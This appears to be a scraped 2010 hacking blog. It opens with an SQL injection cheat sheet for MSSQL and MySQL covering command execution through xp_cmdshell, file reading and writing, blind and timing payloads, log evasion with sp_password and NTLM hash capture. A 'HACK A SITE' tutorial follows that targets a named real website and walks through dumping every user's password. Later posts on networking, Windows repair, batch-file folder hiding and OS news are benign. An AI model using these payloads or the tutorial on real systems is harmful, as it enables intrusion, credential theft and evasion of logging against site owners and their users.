Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

Create table foo( line varchar(8000) )
bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping '
You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

Error Messages
master..sysmessages
Linked Servers
master..sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'
Registry Stuff (xp_regread)

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (need PID) (xp_terminate_process)
Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

Modify WHERE and use NOT IN or NOT EXIST,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE

 : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'

Real World Samples

Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)

Real World Samples

Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

SELECT pg_sleep(10);
Sleep 10 seconds.

Covering Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

product.asp?id=4 (SMO)

product.asp?id=5-1
product.asp?id=4 OR 1=1

product.asp?name=Book

product.asp?name=Bo’%2b’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes

Sub Queries are working only MySQL 4.1+
Users

SELECT User,Password FROM mysql.user;

SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO DUMPFILE

Write query into a new file (can not modify existing files)

UDF Function

create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();

SELECT USER();
SELECT password,USER() FROM mysql.user;
First byte of admin hash

SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

Read File

query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data inifile

By default it’s not avaliable !

create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;

More Timing in MySQL
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force

select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

MD5()
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
`bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'`

Check out Bulk Insert Reference to understand how can you use bulk insert.

2010-04-03T04:11:00.000-07:00

HACK A SITE

For my purposes, i will use www.buysellusa.net as an example, this site is hackable.
if you try on this site, and it does NOT work, that means either i spelt the url wrong (silly me) or that the site has been fixed

Dont be to harsh on me for making it so nooby, i didnt get any of the articles explaining sql injections when i was first learning
if you get lost, keep reading, it might explain what you do not understand ahead.

Well, yeah, self explanitory. OK, here, in this article, i will teach you how to hack a website.
The method we are going to use is called mysql injection. Sql mean, "structured query language".

What this means, is that this programming language lets you send queries (a request for information and such) to a database and access hidden, or "confidential files" such as passwords, and usernames, if you catch my drift. A database is an orginized body of related data, or in simpler terms, like all the vital info stored on the website, and vital coding, or "scripting"(the programming) i think (im not very smart). Well, when making a mysql injection, you have to determine (find out) wether or not a site is vulnerable first (vulnerable, as in, you can make a proper mysql injection, or more simplified, if the web site can be hacked). To find out wether or not a site is vulnerable, you need to change the url. Simple isnt it. But, to get proper results, you need to find a url, that contains a VARIABLE <--------this is VERY important) An example of a url that contains a variable, is

http://buysellusa.net/classifieds/showCat.php?cat_id=10

The variable in this Url (website adress) is "cat_id=10"
A variable is a snipet of code or information that is assigned a value. like for example

tom=1

now, lets say this;

1+tom=2

do you understand?

it is a value pretty much. The value of this variable "cat_id=10" is 10.
Now, to determine wether or not you CAN hack this site. What you need to do, is make a change to the url, like i said before
now, this url, "http://buysellusa.net/classifieds/showCat.php?cat_id=10" must have something ADDED to it. At the end of the url,
add ' thats right, just add '
so the new url is:
http://buysellusa.net/classifieds/showCat.php?cat_id=10'
now if the site you want to hack is vulnerable, you should get and error message on the page. there are other ways to determine wether or not a site is vulnerable to mysql injections, dont get me wrong, but for my purposes, this is the way i will show you.

Now, on this particular url, when you add the magical character ' you should get an error message, something simaler to this:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/public_html/classifieds/showCat.php on line 57
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\'' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/classifieds2/lib/func_tree.php on line 424

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/public_html/classifieds/showCat.php on line 85
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND std_items.cat_id=std_categories.cat_id LIMIT
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/classifieds2/lib/func_getResults.php on line 143

now remember, this is very vauge. It can be almost anything, as long as it mentions MySQL. If it mentions some random crap about vb its not vulnerable (AS FAR AS I KNOW)

now when you get that error your in buisness. This means your target site, or the site im using as an example, is vulnerable! HURRAY! now you can get to the hacking

ok next you need to find the number of columns. This i dont fully understand myself, like i said, i am an uber noob.
I THINK what the columns are, are the columns of data inside a chart. Like a chart stored within the database, that can hold like, usernames , or passwords. Anyhow you need to find out how many there are (how many columns for what chart? wtf im confused too, you just have to do it)

ok; to find the amount of charts, you have to use the statement in SQL which is" order by" , this tells the database how to order the results (im still confused, your not alone)

now, in the url, delete you magical character ' i know, it dosent deserve it, but do you want to hack or not? ok now the url is once again
http://buysellusa.net/classifieds/showCat.php?cat_id=10
Now, add the "Order by" command to the end
so the url should look like:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by
now to find out the number of coloums, you would add a one to "Order by" so it would become "Order by 1"
now, the url is :
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1
but thats not all. You need to add some characters at the end, which tell the database that it is a query, and not you trying to connect to another page of the site. To do this, you use one of the following" -- " or " /* " these denote that the text is a comment. These are used in programming when you need to write yourself something to remember inside your code, or script.
it dosent matter what it is for, if you dont understand, you just need to know when to use it.

so add either -- or /* to the end of your url

(there are two different methods, because some servers block one of the methods, so if one of the comment symbols* -- * or * /* * dont work, try the other one. i personally prefer -- its faster

the url is now:

http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1--
OR
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1/*

make sure not to leave a space between your 1 and your -- or /*
now the first time, it is not going to work obviously.
To find out the number of columns, you need to increase the number "1" by 1 every time you try

so the first time you would make the url:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1/*
second time:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 2/*
third time:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 3/*

and so on and so on, untill you encounter ANOTHER error. It should say something about mysql.
now you know the number of coloums. Lets say it took you 5 tires, on the fifth try, there was an error, then you have 4 columns, because the 5th try is an error, that means the column does not exist in this table (a table located inside the database)
now, you have the amount of columns, which is great.

Now we have to use the UNION function, which allows you to select more data within one sql statment. The statment in this case being what you add to the end of the url(hope your not lost)
Now when we use the union function, the syntax (how we use it, where we use it) is like so:

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select
but we want it to look like this:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2/*
what this does is select the columns in the table, column 1,2,3 and column 4
now of course, you only want to select the number of columns that you have determined exist. In my example, i determined 4.
Therefore, i selected column 1,2,3 and 4.
to tell if this command is working, look for numbers on the webpage, that werent there before. The numbers could be 1 or any number up to the amount of columns you found. So if there were 8 columns, the new number could be anywhere from 1-8.

Now you need to check for the mysql version. This is important, because if it is version 5, you job will be ALOT esier
now this part is sometimes tricky. Look to find the new number that appeared. Now, in your url
which should look like:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 union select all 1,2/*
you need to replace the number in the url that matches the number that appeared on the web page (so if the number that appeared is 2, then you replace the 2 in "union select all 1,2/*"

what you replace it with is:
@@version or version() if @@version yeilded no results.

we should get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,@@version/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
what we need is convert() function

i.e.

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,convert(@@version using latin1)/*

(yeah, im confused too, dont worry, you might not have to use this)

or with hex() and unhex()

i.e.

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,unhex(hex(@@version))/*

and you will get the MySQL version
The numbers telling you the version will appear on the web page, most lilkey where the other number appeared.

Now, one of the hardest parts, you need to find out the name of the table in which you wish to see the information of. Be it the table that stores passwords, or usernames, or both. you need to find out. This part can come down to guessing. But remember, always make an educated guess. Dont guess something random like spongepurple guess something like password or pswrd or user_name or user_names, you catch my drift? so in order to guess the name, use a syntax like this:

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2 from randomguess/*
on this site, i know for a fact, that the user name table is
http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2 from std_users/*

std means standard

now, you should get MORE numbers. But what do you do with them? you need to extract (put the data into a readable format)
the data. To do this, you need the column name. On this site, and on lots more sites, you can get a rough idea of what the column name is by reading the source of the webpage. The source, is the coding. you can read this by right clicking on the page and hit "Veiw Source Code". Now you need to find the register coding
to do this you might have to open up a new internet clien (have to internets running at once) or on firefox, another tab.
On your second internet, go to the "Creat account" page and veiw the source
on This website, www.buysellusa.com the code is as follows:

Password:

here we can clearly see the words "new_user_name" and "password1"
from "new_user_name" im going to keep "User_name" because that seems logical

now to see if im right, i will need to check

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,user_name,2 from std_users/*

notice where i put "user_name" i put it inbetween the two columns, column 1 and column 2. Then i made sure to state WHERE i am selecting this data (from the column named "user_name") from, the std_users table. and VIOLA! you have every single account user name registered on the site. But now, we need the password.

now before, when we looked at the source code, we saw two interesting things, "New_user_name" and "password1"
now we need the "password1"
i will get rid of the one, because why would the column name have a 1 in it?
so basicially, you do the same thing that you did with the user names.

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,user_name,2 from std_users/*
but instead of that, its:
http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,password,2 from std_users/*
and ONCE AGAIN! VIOLA! you now have the password to each and every account on the site.

but the lesson is not over, now, to make it easier, we will reformat your results, so they can be better read.

to do this, simply use the contact function.

http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,concat(user_name,0x3a,password),2 from std_users/*

what this does, in a sense, is contact thoes columns from the chart you specify (in this case std_users) and displays there information, but, now, you can display them both at the same time, because they are being simotaneously contacted. And, in this context, it syncronizez the username to its password like so:

usernameassword

the 0x3a is just a hex code, it is equal to a colon, so your results will look nice.
and thats all.
If you have done this right, you should have just hacked a site.

for your first time, try on www.buysellusa.net its easy :P
on www.buysellusa.net, make sure to use /* comment symbol!

please comment on anything i explained wrong, or didnt explain enough... after all, i am new at this

Thanks to S0vv and p3ri0d for their help

2010-04-02T22:20:00.001-07:00

Networking Tutorials

OK, this tutorial will be very advance.

contents~

-architecture of the Internet
-components of a network

*****Architecture of the Internet******

Well, what do u think a Internet is.

when i was still a noob in networking, some one told me that Internet is the biggest part of out life.

well, before i have a feeling that it was wrong about what he said.

and now, it proves me right.

because the components for the internet architecture is

1.Network
2.end users
3.end user devise
5.devises
6.servises
etc....

Well, why do u think we can acces the email server for gmail, hotmail, yahoo.???

it is because at the back, there is a email server connected to the outside world
using the servise from the ISP.

why do u think they have our records for our pass, and usernames????

it is because there is a MySQL server in some of the network pc.

u just need to ask zach, and ask if he had made up a MySQL server for this site.

Basically, Internet means

--Interconnected network.

the creation for web browsers had made our lives 100000000000000000000000000 times easier.

From hand written letters and needs like 3 days to send it.

but now, is fast typing using our keybords and we only needs the maximum of one our and arrive to our destination, depending on our traffic between the source and the out side world. and the reciever.

so , for the archetecture for the internet is bascially saying the architecture for networking.

four fundamental things for the structure of internet aka network.

1. Qos - quality of servise*
2.fault tolerance*
3.scabability*
4.security*

****Qos*****
this is very very important,

Qos refers to the mechanism that manage the congested network traffic.

more communications means more network bandwidth needed.

Network bandwidth is the measurement of data carrying capacity of the network traffic.

for example, Voice over IP phone and a peer to peer network transfer would effect the traffic of the network greatly.

you can kind of understand the meaning of quality of service.

now, i am the network manager, my customers or users is using VOIP and there is

some one doing some peer to peer transfer.

if the user that uses VOIP get delayed calls or laggy transfer of signals, then they won't use VOIP no more.

peer to peer network network bandwith measure = 20 %
-not so important

VOIp takes 20 %

but VOIP customers some times pay to use this servise, if they get leggy or delay phone calls then they won't use it any more.

but for peer to peer network transfer, it is not that important, but it takes up bandwidth too.

so what we need to do here is to set priorities.

the Router will the the classify and direct the messages according to there priorities.

so doing this job of giving different traffic priorities is very important.

another example, a web page set up meeting and email server meeting.

what do u think????

If i am a network manager. then i will give the priorities to the web page set up first.

because with out the web page , how are we going to get our email server in use by users?

think about it, with out a gmail web page and how are we going to access the email server and read our mails???

so setting priorities for different traffic is very important.

you can use priority queuing

like there is so many services, and they are all in same category or platform- the digital platform

but still there is so many different types of traffic, so putting them into there own priorities will take ages.

so u can be like,time sensitive: voice and video have higher piority then not time sensitive:email or txt documents.

after u put them in category, they are ready to be put in queues

example, the airport , the front class in one line, the businesses class in one line.

the front class get higher priority and the businesses class get lower.

same as this, the voice get the front class of the traffic and the txt & email get businesses class.

*****************fault tolerance*******

it means that, the internet will work normally even one of the components of the network is not working.

-redundancy, very very important.

for example, gmail's email server is not working, then what would happen.

is there going to be no access for email for half of the people in the world.

no, redundancy means a back up or duplicate of important service or servers.

if the mysql server is down, then there will be a backup server running until the normally email server is fix and is back to the network.

*****scalability***

is the ability of growing internally and externally without changing the originated infrastructure.

for example, adding a new user on the network should not need to be redesign the infrastructure of the network.

when u design a network, you should be havinga backup for every thing and extra.

*******security******

network security is the main concern for web providers and users.

web safety is the key part for a network management plan.

for the network security plan.

the network manager or security officer must address these two things.

1.infrastructure security
2.content security.

-infrastructure security

that means, looking up ur server room, The pc room, only allow those people who can to the server or IT room.

people can sneak in to ur server room and plug there pc in the port with a cat 5 UTP cable and they can start sniffing your traffic.

-content security
***** content security is not securing the content.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

content security means enabling

1.network availability
2.ensuring confidentiality
3.communication intergrety

1.Network availability

two things, you have to put a AV on a server and desktop and firewalls.

think about it, if your server or pc is down, how are u going to serve people, that is the availbility of the network.

2.ensuring confidentiality
that means, keeping your data secure, keeping the confidential stuff secure.

like using a strong system for user identification.

only allow the permission people to access the confidential data

using strong passwords, always make the user change there password often.

when encryption is enabled, there will be a hinger chance that hackers won't be able to see ur data even they stole it.

making password hard to guess or to crack.

3.Communication intergrety

2 types.

1. data intergrety
-the assurance of the info not to be altered during the transmission from the source to the reciever.

data intergrety can be compromised if the info is corrupted or passed up.-- willfully or accidentaly--

* if u guys have problems with this, then pm me or add me on msn.

3.source intergrety.

-.the assurance of the identity of the sender is validate.
source intergrety can be compromised when some one or devise fake the identity and give incorrect info to the recipient.

using hashes, encryption, digital sig can provide source and data intergrety across a network to prevent hackers and bad dudes like all of us in here.

and this is the end of the tutorial and thanks

2010-04-02T22:17:00.001-07:00

File corrupt or missing - Solution

Sometimes when installing a program or following a hard disk, a portion of a system file can be damaged. The system or software may complain and refuse to start.

System File Checker
Windows XP has a utility very useful and yet very little known: a System File Checker (SFC - System File Checker).

To use:

    * Click on Start / Run
    * Enter and confirm the following command within the space between the command and its argument:

sfc / scannow

    * The dialog box of Windows File Protection and then opens the file system analysis begins.

In case of corrupted file, the installation CD will be called and replace the file in its original version!

Repair with the Windows installation CD
If the above procedure does not solve the problem, there remains the possibility to repair the Windows installation by equipping the installation CD!

    * Insert the Windows CD into the drive and reboot the computer.
    * Make F8 to select the appropriate drive unit boot. If this fails, change the sequence in the BIOS setup as the following, otherwise move to the next step.

At boot the computer, press F2 or F5 to access the BIOS setup
Options in the BIOS, change the boot sequence (boot sequence), so that the CDROM is placed first.
Save changes and reboot.

    * When the words "Boot from CDROM" or "Start from CDROM" appears (for a few seconds), press a button to launch the Windows Setup program.
    * A menu of choices will appear, choose "Repair" (Repair).
    * The menu will then fast or manual. Try fast mode first, if that is not enough, it will be possible to manually try later!
    * Reboot leaving the installation CD of Windows and choose "Install." Attention! At this stage, we should not choose "Repair" but "Install".
    * The program asks you whether you want to repair your installation, choose "Yes". Note that the data your system will not be crushed, only the system files will be replaced by the originals.
    * When the repair is complete, change the boot sequence for the original sequence, save and let the computer restart.
    * The system should work again ...

2010-04-02T22:09:00.000-07:00

Lock folder without any software 1

Hi, Guys Here a new Trick to lock Folder without using any Software.
You need to just a bit editing in Notepad and Save it as Batch files.

Here the Method
Quote:
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%== type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

   1. Exactly Copy paste it In Note pad and save it as a Batch File

   2. Double click on batch file you have created and you will see a new folder on your desktop
called “Locker”

   3. Now add the files you want to be locked in that folder.

   4. Double click on batch file you have created again, and it will ask you if you want to
hide the folders

   5. Type Y For Yes. The folder will be locked and hidden.

   6. To unhide, double click batch file you have created , type in your password and press enter…

2010-04-02T22:07:00.000-07:00

Lock folder without any software

Suppose you want to lock the folder movies in d: which has the path D:\movies.

In the same drive create a text file and type
ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat

Create another text file and type in it
ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} movies
Now save this text file as key.bat

you can see 2 batch files loc and key. Press loc and the folder movies will change
to control panel and you cannot view its contents. Press key and you will get back your original folder.

2010-03-31T05:07:00.000-07:00

REDHAT 5.5 RELEASED

Red Hat, Inc. has announced the release of Red Hat Enterprise Linux (RHEL) 5.5, the fifth update of its commercial, enterprise-class Linux distribution: "Red Hat is pleased to announce the availability of the latest update to Red Hat Enterprise Linux 5, release 5.5. Highlights of the release include hardware enablement for the Intel Boxboro-EX platform, AMD Magny-Cours processor and IBM Power 7 processor. Virtualization is improved, with support for multiple 10 GigE SR-IOV cards, and automatic usage of hugepages for virtual guest memory when enabled on the system. Interoperability improvements include updates to OpenOffice.org for Microsoft Office 2007 filters, Samba for Windows 7 compatibility and boot support for virtual machines using Microsoft-based PXE services." See the release announcement, press release and release notes for a detailed list of changes and improvements. Installation ISO images for RHEL 5.5 are available to existing subscribers via Red Hat Networks, while new customers can download a 30-day trial edition from here.

2010-03-31T05:02:00.001-07:00

Solaris No More Free, Open Solaris May Die

Good Oracle has started closing the 'free as in beer' shops of Sun Microsystem. According to reports the free Solaris operating system is no longer free of cost.

Rebranded Oracle Solaris operating system, the UNIX OS will now be available for a 90 days trial version and then users have to pay to buy a licence. Earlier, under Sun, the OS was available for free but users had an option to buy support from Sun. This may seem OK for enterprise customers as cost of OS is miniscule compared to cost of services. Companies like Oracle generate extremely thick revenues through services and support.

